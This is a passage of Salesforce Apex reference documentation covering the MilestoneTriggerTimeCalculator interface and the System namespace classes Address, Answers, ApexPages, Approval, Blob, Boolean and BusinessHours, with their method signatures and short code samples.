[SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
Id expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);
// Change the case properties to match a different template
c.Subject = 'My LX1220 is overheating';
Database.update(c);
// Make sure the correct template is chosen in this case
actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
expectedTemplate =
[SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);
}
}

MilestoneTriggerTimeCalculator Interface
The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.

Namespace
Support
Implement the Support.MilestoneTriggerTimeCalculator interface to calculate a dynamic time trigger for a milestone
based on the milestone type, the properties of the case, and case-related objects. To implement the
Support.MilestoneTriggerTimeCalculator interface, you must first declare a class with the implements keyword
as follows:
global class Employee implements Support.MilestoneTriggerTimeCalculator {

Next, your class must provide an implementation for the following method:
global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)

The implemented method must be declared as global or public.

IN THIS SECTION:
MilestoneTriggerTimeCalculator Methods
MilestoneTriggerTimeCalculator Example Implementation

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Reference

MilestoneTriggerTimeCalculator Interface

MilestoneTriggerTimeCalculator Methods
The following are instance methods for MilestoneTriggerTimeCalculator.
IN THIS SECTION:
calculateMilestoneTriggerTime(caseId, milestoneTypeId)
Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.

calculateMilestoneTriggerTime(caseId, milestoneTypeId)
Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.

Syntax
public Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)

Parameters
caseId

Type: String
ID of the case the milestone is applied to.
milestoneTypeId

Type: String
ID of the milestone type.

Return Value
Type: Integer
The calculated trigger time in minutes.

MilestoneTriggerTimeCalculator Example Implementation

This sample class demonstrates the implementation of theSupport.MilestoneTriggerTimeCalculator interface. In this
sample, the cases priority and the milestone m1 determine that the time trigger is 18 minutes.
global class myMilestoneTimeCalculator implements Support.MilestoneTriggerTimeCalculator
{
global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId){
Case c = [SELECT Priority FROM Case WHERE Id=:caseId];
MilestoneType mt = [SELECT Name FROM MilestoneType WHERE Id=:milestoneTypeId];
if (c.Priority != null && c.Priority.equals('High')){
if (mt.Name != null && mt.Name.equals('m1')) { return 7;}
else { return 5; }
}
else {
return 18;
}

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Reference

System Namespace

}
}

This test class can be used to test the implementation of Support.MilestoneTriggerTimeCalculator.

@isTest
private class MilestoneTimeCalculatorTest {
static testMethod void testMilestoneTimeCalculator() {
// Select an existing milestone type to test with
MilestoneType[] mtLst = [SELECT Id, Name FROM MilestoneType LIMIT 1];
if(mtLst.size() == 0) { return; }
MilestoneType mt = mtLst[0];
// Create case data.
// Typically, the milestone type is related to the case,
// but for simplicity, the case is created separately for this test.
Case c = new Case(priority = 'High');
insert c;
myMilestoneTimeCalculator calculator = new myMilestoneTimeCalculator();
Integer actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);

if(mt.name != null && mt.Name.equals('m1')) {

System.assertEquals(actualTriggerTime, 7);
}
else {
System.assertEquals(actualTriggerTime, 5);
}
c.priority = 'Low';
update c;
actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);
System.assertEquals(actualTriggerTime, 18);
}
}

System Namespace
The System namespace provides classes and methods for core Apex functionality.
The following are the classes in the System namespace.
IN THIS SECTION:
Address Class
Contains methods for accessing the component fields of address compound fields.
Answers Class
Represents zone answers.
ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.

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Reference

System Namespace

Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.
Blob Class
Contains methods for the Blob primitive data type.
Boolean Class
Contains methods for the Boolean primitive data type.
BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.
Cases Class
Use the Cases class to interact with case records.
Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.
Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.
Cookie Class
The Cookie class lets you access cookies for your Force.com site using Apex.
Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.
Custom Settings Methods
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
Database Class
Contains methods for creating and manipulating data.
Date Class
Contains methods for the Date primitive data type.
Datetime Class
Contains methods for the Datetime primitive data type.
Decimal Class
Contains methods for the Decimal primitive data type.
Double Class
Contains methods for the Double primitive data type.
EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.
Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides
built-in enums, such as LoggingLevel, and you can define your own enum.
Exception Class and Built-In Exceptions
An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create
custom exceptions. All exceptions have common methods.

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Reference

System Namespace

FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.
Http Class
Use the Http class to initiate an HTTP request and response.
HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.
HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PUT, and DELETE.
HttpResponse Class
Use the HttpResponse class to handle the HTTP response returned by the Http class.
Id Class
Contains methods for the ID primitive data type.
Ideas Class
Represents zone ideas.
InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.
Integer Class
Contains methods for the Integer primitive data type.
JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the
serialize method in this class.
JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.
JSONParser Class
Represents a parser for JSON-encoded content.
JSONToken Enum
Contains all token values used for parsing JSON content.
Limits Class
Contains methods that return limit information for specific resources.
List Class
Contains methods for the List collection type.
Location Class
Contains methods for accessing the component fields of geolocation compound fields.
Long Class
Contains methods for the Long primitive data type.
Map Class
Contains methods for the Map collection type.
Matcher Class
Matchers use Patterns to perform match operations on a character string.
Math Class
Contains methods for mathematical operations.

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Reference

System Namespace

Messaging Class
Contains messaging methods used when sending a single or mass email.
MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.
Network Class
Represents a community.
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of
query parameter names and values.
Pattern Class
Represents a compiled representation of a regular expression.
Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.
QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains
the job ID. This interface is implemented internally by Apex.
QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects
that are available globally.
RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects
override methods.
ResetPasswordResult Class
Represents the result of a password reset.
RestContext Class
Contains the RestRequest and RestResponse objects.
RestRequest Class
Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.
RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.
SandboxPostCopy Interface
To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and
add methods to perform post-copy tasks, then specify the class during sandbox creation.
Schedulable Interface
The class that implements this interface can be scheduled to run at different intervals.
SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled
job ID. This interface is implemented internally by Apex.
Schema Class
Contains methods for obtaining schema describe information.

1932

Reference

System Namespace

Search Class
Use the methods of the Search class to perform dynamic SOSL queries.
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.
Set Class
Represents a collection of unique elements with no duplicate values.
Site Class
Use the Site Class to manage your Force.com sites.
sObject Class
Contains methods for the sObject data type.
StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.
String Class
Contains methods for the String primitive data type.
System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.
Test Class
Contains methods related to Visualforce tests.
Time Class
Contains methods for the Time primitive data type.
TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone
ID, offset, and display name.
Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records
that the trigger operates on.
Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.
UninstallHandler Interface
Enables custom code to run after a managed package is uninstalled.
URL Class
Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.
UserInfo Class
Contains methods for obtaining information about the context user.
Version Class
Use the Version methods to get the version of a managed package of a subscriber and to compare package versions.
WebServiceCallout Class
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated
from a WSDL.

1933

Reference

Address Class

WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.
XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip
unwanted events. You can parse nested XML content thats up to 50 nodes deep.
XmlStreamWriter Class
The XmlStreamWriter class provides methods for writing XML data.

Address Class
Contains methods for accessing the component fields of address compound fields.

Namespace
System

Usage
Each of these methods is also equivalent to a read-only property. For each getter method, you can access the property using dot notation.
For example, myAddress.getCity() is equivalent to myAddress.city.
You cant use dot notation to access compound fields subfields directly on the parent field. Instead, assign the parent field to a variable
of type Address, and then access its components. For example, to access the City field in myAccount.BillingAddress,
do the following:
Address addr = myAccount.BillingAddress;
String acctCity = addr.City;

Example
// Select and access Address fields.
// Call the getDistance() method in different ways.
Account[] records = [SELECT id, BillingAddress FROM Account LIMIT 10];
for(Account acct : records) {
Address addr = acct.BillingAddress;
Double lat = addr.latitude;
Double lon = addr.longitude;
Location loc1 = Location.newInstance(30.1944,-97.6682);
Double apexDist1 = addr.getDistance(loc1, 'mi');
Double apexDist2 = loc1.getDistance(addr, 'mi');
System.assertEquals(apexDist1, apexDist2);
Double apexDist3 = Location.getDistance(addr, loc1, 'mi');
System.assertEquals(apexDist2, apexDist3);
}

IN THIS SECTION:
Address Methods

1934

Reference

Address Class

Address Methods
The following are methods for Address.
IN THIS SECTION:
getCity()
Returns the city field of this address.
getCountry()
Returns the text-only country name component of this address.
getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.
getLatitude()
Returns the latitude field of this address.
getLongitude()
Returns the longitude field of this address.
getPostalCode()
Returns the postal code of this address.
getState()
Returns the text-only state name component of this address.
getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.
getStreet()
Returns the street field of this address.

getCity()
Returns the city field of this address.

Signature
public String getCity()

Return Value
Type: String

getCountry()
Returns the text-only country name component of this address.

Signature
public String getCountry()

1935

Reference

Address Class

Return Value
Type: String

getCountryCode()
Returns the country code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

Signature
public String getCountryCode()

Return Value
Type: String

getDistance(toLocation, unit)
Returns the distance from this location to the specified location using the specified unit.

Signature
public Double getDistance(Location toLocation, String unit)

Parameters
toLocation

Type: Location
The Location to which you want to calculate the distance from the current Location.
unit

Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getLatitude()
Returns the latitude field of this address.

Signature
public Double getLatitude()

Return Value
Type: Double

1936

Reference

Address Class

getLongitude()
Returns the longitude field of this address.

Signature
public Double getLongitude()

Return Value
Type: Double

getPostalCode()
Returns the postal code of this address.

Signature
public String getPostalCode()

Return Value
Type: String

getState()
Returns the text-only state name component of this address.

Signature
public String getState()

Return Value
Type: String

getStateCode()
Returns the state code of this address if state and country picklists are enabled in your organization. Otherwise, returns null.

Signature
public String getStateCode()

Return Value
Type: String

getStreet()
Returns the street field of this address.

1937

Reference

Answers Class

Signature
public String getStreet()

Return Value
Type: String

Answers Class
Represents zone answers.

Namespace
System

Usage
Answers is a feature of the Community application that enables users to ask questions and have community members post replies.
Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as
the best answer.
For more information on answers, see Answers Overview in the Salesforce online help.

Example
The following example finds questions in an internal zone that have similar titles as a new question:
public class FindSimilarQuestionController {
public static void test() {
// Instantiate a new question
Question question = new Question ();
// Specify a title for the new question
question.title = 'How much vacation time do full-time employees get?';
// Specify the communityID (INTERNAL_COMMUNITY) in which to find similar questions.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_COMMUNITY' ];
question.communityId = community.id;
ID[] results = Answers.findSimilar(question);
}
}

The following example marks a reply as the best reply:

ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT
1].Id;
ID replyID = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId,replyId);

1938

Reference

Answers Class

Answers Methods
The following are methods for Answers. All methods are static.
IN THIS SECTION:
findSimilar(yourQuestion)
Returns a list of similar questions based on the title of the specified question.
setBestReply(questionId, replyId)
Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best
reply helps users quickly identify the reply that contains the most helpful information.

findSimilar(yourQuestion)
Returns a list of similar questions based on the title of the specified question.

Signature
public static ID[] findSimilar(Question yourQuestion)

Parameters
yourQuestion

Type: Question

Return Value
Type: ID[]

Usage
Each findSimilar call counts against the SOSL statements governor limit allowed for the process.

setBestReply(questionId, replyId)
Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply
helps users quickly identify the reply that contains the most helpful information.

Signature
public static Void setBestReply(String questionId, String replyId)

Parameters
questionId

Type: String
replyId

Type: String

1939

Reference

ApexPages Class

Return Value
Type: Void

ApexPages Class
Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.

Namespace
System

Usage
In addition, ApexPages is used as a namespace for the PageReference Class and the Message Class.

ApexPages Methods
The following are methods for ApexPages. All are instance methods.
IN THIS SECTION:
addMessage(message)
Add a message to the current page context.
addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.
currentPage()
Returns the current page's PageReference.
getMessages()
Returns a list of the messages associated with the current context.
hasMessages()
Returns true if there are messages associated with the current context, false otherwise.
hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.

addMessage(message)
Add a message to the current page context.

Signature
public Void addMessage(ApexPages.Message message)

Parameters
message
Type: ApexPages.Message

1940

Reference

ApexPages Class

Return Value
Type: Void

addMessages(exceptionThrown)
Adds a list of messages to the current page context based on a thrown exception.

Signature
public Void addMessages(Exception exceptionThrown)

Parameters
exceptionThrown

Type: Exception

Return Value
Type: Void

currentPage()
Returns the current page's PageReference.

Signature
public System.PageReference currentPage()

Return Value
Type: System.PageReference

Example
This code segment returns the id parameter of the current page.
public MyController() {
account = [
SELECT Id, Name, Site
FROM Account
WHERE Id =
:ApexPages.currentPage().
getParameters().
get('id')
];
}

getMessages()
Returns a list of the messages associated with the current context.

1941

Reference

Approval Class

Signature
public ApexPages.Message[] getMessages()

Return Value
Type: ApexPages.Message[]

hasMessages()
Returns true if there are messages associated with the current context, false otherwise.

Signature
public Boolean hasMessages()

Return Value
Type: Boolean

hasMessages(severity)
Returns true if messages of the specified severity exist, false otherwise.

Signature
public Boolean hasMessages(ApexPages.Severity severity)

Parameters
sev

Type: ApexPages.Severity

Return Value
Type: Boolean

Approval Class
Contains methods for processing approval requests and setting approval-process locks and unlocks on records.

Namespace
System

Usage
Salesforce admins can edit locked records. Depending on your approval process configuration settings, an assigned approver can also
edit locked records. Locks and unlocks that are set programmatically use the same record editability settings as other approval-process
locks and unlocks.

1942

Reference

Approval Class

Record locks and unlocks are treated as DML. Theyre blocked before a callout, they count toward your DML limits, and if a failure occurs,
theyre rolled back along with the rest of your transaction. To change this rollback behavior, use an allOrNone parameter.
Approval is also used as a namespace for the ProcessRequest and ProcessResult classes.
SEE ALSO:
Approval Process Considerations

Approval Methods
The following are methods for Approval. All methods are static.
IN THIS SECTION:
isLocked(id)
Returns true if the record with the ID id is locked, or false if its not.
isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status
is false.
isLocked(sobject)
Returns true if the sobject record is locked, or false if its not.
isLocked(sobjects)
Returns a map of record IDs to lock statuses. If the record is locked the status is true. If the record is not locked the status is false.
lock(recordId)
Locks an object, and returns the lock results.
lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.
lock(recordToLock)
Locks an object, and returns the lock results.
lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.
lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
lock(recordToLock, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.
lock(recordsToLock, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.
process(approvalRequest)
Submits a new approval request and approves or rejects existing approval requests.
process(approvalRequests, allOrNone)
Submits a new approval request and approves or rejects existing approval requests.

1943

Reference

Approval Class

process(approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.
process(approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.
unlock(recordId)
Unlocks an object, and returns the unlock results.
unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.
unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.
unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.
unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.
unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.
unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

isLocked(id)
Returns true if the record with the ID id is locked, or false if its not.

Signature
public static Boolean isLocked(Id id)

Parameters
id

Type: Id
The ID of the record whose lock or unlock status is in question.

Return Value
Type: Boolean

isLocked(ids)
Returns a map of record IDs and their lock statuses. If the record is locked the status is true. If the record is not locked the status is
false.

1944

Reference

Approval Class

Signature
public static Map<Id,Boolean> isLocked(List<Id> ids)

Parameters
ids

Type: List<Id>
The IDs of the records whose lock or unlock statuses are in question.

Return Value
Type: Map<Id,Boolean>

isLocked(sobject)
Returns true if the sobject record is locked, or false if its not.

Signature
public static Boolean isLocked(SObject sobject)

Parameters
sobject

Type: SObject
The record whose lock or unlock status is in question.

Return Value
Type: Boolean

isLocked(sobjects)
Returns a map of record IDs to lock statuses. If the record is locked the status is true. If the record is not locked the status is false.

Signature
public static Map<Id,Boolean> isLocked(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>
The records whose lock or unlock statuses are in question.

Return Value
Type: Map<Id,Boolean>

1945

Reference

Approval Class

lock(recordId)
Locks an object, and returns the lock results.

Signature
public static Approval.LockResult lock(Id recordId)

Parameters
recordId

Type: Id
ID of the object to lock.

Return Value
Type: Approval.LockResult

lock(recordIds)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<Id> ids)

Parameters
ids

Type: List<Id>
IDs of the objects to lock.

Return Value
Type: List<Approval.LockResult>

lock(recordToLock)
Locks an object, and returns the lock results.

Signature
public static Approval.LockResult lock(SObject recordToLock)

Parameters
recordToLock

Type: SObject

1946

Reference

Approval Class

Return Value
Type: Approval.LockResult

lock(recordsToLock)
Locks a set of objects, and returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock)

Parameters
recordsToLock

Type: List<SObject>

Return Value
Type: List<Approval.LockResult>

lock(recordId, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.

Signature
public static Approval.LockResult lock(Id recordId, Boolean allOrNothing)

Parameters
recordId

Type: Id
ID of the object to lock.
allOrNothing

Type: Boolean
Specifies whether this operation allows partial success. If you specify false and a record fails, the remainder of the DML operation
can still succeed. This method returns a result object that you can use to verify which records succeeded, which failed, and why.

Return Value
Type: Approval.LockResult

lock(recordIds, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<Id> recordIds, Boolean allOrNothing)

1947

Reference

Approval Class

Parameters
recordIds

Type: List<Id>
IDs of the objects to lock.
allOrNothing

Return Value
Type: List<Approval.LockResult>

lock(recordToLock, allOrNothing)
Locks an object, with the option for partial success, and returns the lock result.

Signature
public static Approval.LockResult lock(SObject recordToLock, Boolean allOrNothing)

Parameters
recordToLock

Type: SObject
allOrNothing

Return Value
Type: Approval.LockResult

lock(recordsToLock, allOrNothing)
Locks a set of objects, with the option for partial success. It returns the lock results, including failures.

Signature
public static List<Approval.LockResult> lock(List<SObject> recordsToLock, Boolean
allOrNothing)

Parameters
recordsToLock

Type: List<SObject>

1948

Reference

Approval Class

allOrNothing

Return Value
Type: List<Approval.LockResult>

process(approvalRequest)
Submits a new approval request and approves or rejects existing approval requests.

Signature
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequest)

Parameters
approvalRequest

Type: Approval.ProcessRequest

Return Value
Type: Approval.ProcessResult

Example
// Insert an account
Account a = new Account(Name='Test',
annualRevenue=100.0);
insert a;
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setObjectId(a.id);
// Submit the approval request for the account
Approval.ProcessResult result =
Approval.process(req1);

process(approvalRequests, allOrNone)
Submits a new approval request and approves or rejects existing approval requests.

1949

Reference

Approval Class

Signature
public static Approval.ProcessResult process(Approval.ProcessRequest approvalRequests,
Boolean allOrNone)

Parameters
approvalRequests

Approval.ProcessRequest
allOrNone

Type: Boolean
The optional allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this
parameter and an approval fails, the remainder of the approval processes can still succeed.

Return Value
Approval.ProcessResult

process(approvalRequests)
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature
public static Approval.ProcessResult [] process(Approval.ProcessRequest[]
approvalRequests)

Parameters
approvalRequests

Approval.ProcessRequest []

Return Value
Approval.ProcessResult []

process(approvalRequests, allOrNone)
Submits a list of new approval requests, and approves or rejects existing approval requests.

Signature
public static Approval.ProcessResult [] process(Approval.ProcessRequest[]
approvalRequests, Boolean allOrNone)

Parameters
approvalRequests

Approval.ProcessRequest []

1950

Reference

Approval Class

allOrNone

Return Value
Approval.ProcessResult []

unlock(recordId)
Unlocks an object, and returns the unlock results.

Signature
public static Approval.UnlockResult unlock(Id recordId)

Parameters
recordId

Type: Id
ID of the object to unlock.

Return Value
Type: Approval.UnlockResult

unlock(recordIds)
Unlocks a set of objects, and returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<Id> recordIds)

Parameters
recordIds

Type: List<Id>
IDs of the objects to unlock.

Return Value
Type: List<Approval.UnlockResult>

unlock(recordToUnlock)
Unlocks an object, and returns the unlock results.

1951

Reference

Approval Class

Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock)

Parameters
recordToUnlock

Type: SObject

Return Value
Type: Approval.UnlockResult

unlock(recordsToUnlock)
Unlocks a set of objects, and returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock)

Parameters
recordsToUnlock

Type: List<SObject>

Return Value
Type: List<Approval.UnlockResult>

unlock(recordId, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

Signature
public static Approval.UnlockResult unlock(Id recordId, Boolean allOrNothing)

Parameters
recordId

Type: Id
ID of the object to lock.
allOrNothing

1952

Reference

Approval Class

Return Value
Type: Approval.UnlockResult

unlock(recordIds, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<Id> recordIds, Boolean
allOrNothing)

Parameters
recordIds

Type: List<Id>
IDs of the objects to unlock.
allOrNothing

Return Value
Type: List<Approval.UnlockResult>

unlock(recordToUnlock, allOrNothing)
Unlocks an object, with the option for partial success, and returns the unlock result.

Signature
public static Approval.UnlockResult unlock(SObject recordToUnlock, Boolean allOrNothing)

Parameters
recordToUnlock

Type: SObject
allOrNothing

Return Value
Type: Approval.UnlockResult

1953

Reference

Blob Class

unlock(recordsToUnlock, allOrNothing)
Unlocks a set of objects, with the option for partial success. It returns the unlock results, including failures.

Signature
public static List<Approval.UnlockResult> unlock(List<SObject> recordsToUnlock, Boolean
allOrNothing)

Parameters
recordsToUnlock

Type: List<SObject>
allOrNothing

Return Value
Type: List<Approval.UnlockResult>

Blob Class
Contains methods for the Blob primitive data type.

Namespace
System

Usage
For more information on Blobs, see Primitive Data Types on page 27.

Blob Methods
The following are methods for Blob.
IN THIS SECTION:
size()
Returns the number of characters in the Blob.
toPdf(stringToConvert)
Creates a binary object out of the given string, encoding it as a PDF file.
toString()
Casts the Blob into a String.
valueOf(stringToBlob)
Casts the specified String to a Blob.

1954

Reference

Blob Class

size()
Returns the number of characters in the Blob.

Signature
public Integer size()

Return Value
Type: Integer

Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
Integer size = myBlob.size();

toPdf(stringToConvert)
Creates a binary object out of the given string, encoding it as a PDF file.

Signature
public static Blob toPdf(String stringToConvert)

Parameters
stringToConvert

Type: String

Return Value
Type: Blob

Example
String pdfContent = 'This is a test string';
Account a = new account(name = 'test');
insert a;
Attachment attachmentPDF = new Attachment();
attachmentPdf.parentId = a.id;
attachmentPdf.name = account.name + '.pdf';
attachmentPdf.body = blob.toPDF(pdfContent);
insert attachmentPDF;

toString()
Casts the Blob into a String.

1955

Reference

Boolean Class

Signature
public String toString()

Return Value
Type: String

Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);
System.assertEquals('StringToBlob', myBlob.toString());

valueOf(stringToBlob)
Casts the specified String to a Blob.

Signature
public static Blob valueOf(String stringToBlob)

Parameters
stringToBlob

Type: String

Return Value
Type: Blob

Example
String myString = 'StringToBlob';
Blob myBlob = Blob.valueof(myString);

Boolean Class
Contains methods for the Boolean primitive data type.

Namespace
System

Boolean Methods
The following are methods for Boolean. All methods are static.

1956

Reference

Boolean Class

IN THIS SECTION:
valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.
valueOf(fieldValue)
Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents
a Boolean value.

valueOf(stringToBoolean)
Converts the specified string to a Boolean value and returns true if the specified string value is true. Otherwise, returns false.

Signature
public static Boolean valueOf(String stringToBoolean)

Parameters
stringToBoolean

Type: String

Return Value
Type: Boolean

Usage
If the specified argument is null, this method throws an exception.

Example
Boolean b = Boolean.valueOf('true');
System.assertEquals(true, b);

valueOf(fieldValue)
Converts the specified object to a Boolean value. Use this method to convert a history tracking field value or an object that represents
a Boolean value.

Signature
public static Boolean valueOf(Object fieldValue)

Parameters
fieldValue

Type: Object

1957

Reference

BusinessHours Class

Return Value
Type: Boolean

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type
corresponds to a Boolean type, like a checkbox field.

Example
List<AccountHistory> ahlist =
[SELECT Field,OldValue,NewValue
FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'IsPlatinum__c') {
Boolean oldValue =
Boolean.valueOf(ah.OldValue);
Boolean newValue =
Boolean.valueOf(ah.NewValue);
}

BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.

Namespace
System

BusinessHours Methods
The following are methods for BusinessHours. All methods are static.
IN THIS SECTION:
add(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.
addGmt(businessHoursId, startDate, intervalMilliseconds)
Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.
diff(businessHoursId, startDate, endDate)
Returns the difference between a start and end Datetime based on a specific set of business hours.
isWithin(businessHoursId, targetDate)
Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.
nextStartDate(businessHoursId, targetDate)
Starting from the specified target date, returns the next date when business hours are open. If the specified target date falls within
business hours, this target date is returned.

1958

Reference

BusinessHours Class

add(businessHoursId, startDate, intervalMilliseconds)

Adds an interval of time from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone.

Signature
public static Datetime add(String businessHoursId, Datetime startDate, Long
intervalMilliseconds)

Parameters
businessHoursId

Type: String
startDate

Type: Datetime
intervalMilliseconds

Type: Long
Interval value should be provided in milliseconds, however time precision smaller than one minute is ignored.

Return Value
Type: Datetime

addGmt(businessHoursId, startDate, intervalMilliseconds)

Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT.

Signature
public static Datetime addGmt(String businessHoursId, Datetime startDate, Long
intervalMilliseconds)

Parameters
businessHoursId

Type: String
startDate

Type: Datetime
intervalMilliseconds

Type: Long

Return Value
Type: Datetime

diff(businessHoursId, startDate, endDate)

Returns the difference between a start and end Datetime based on a specific set of business hours.

1959

Reference

BusinessHours Class

Signature
public static Long diff(String businessHoursId, Datetime startDate, Datetime endDate)

Parameters
businessHoursId

Type: String
startDate

Type: Datetime
endDate

Type: Datetime

Return Value
Type: Long

isWithin(businessHoursId, targetDate)
Returns true if the specified target date occurs within business hours. Holidays are included in the calculation.

Signature
public static Boolean isWithin(String businessHoursId, Datetime targetDate)

Parameters
businessHoursId

Type: String
The business hours ID.
targetDate

Type: Datetime
The date to verify.

Return Value
Type: Boolean

Example
The following example finds whether a given time is within the default business hours.
// Get the default business hours
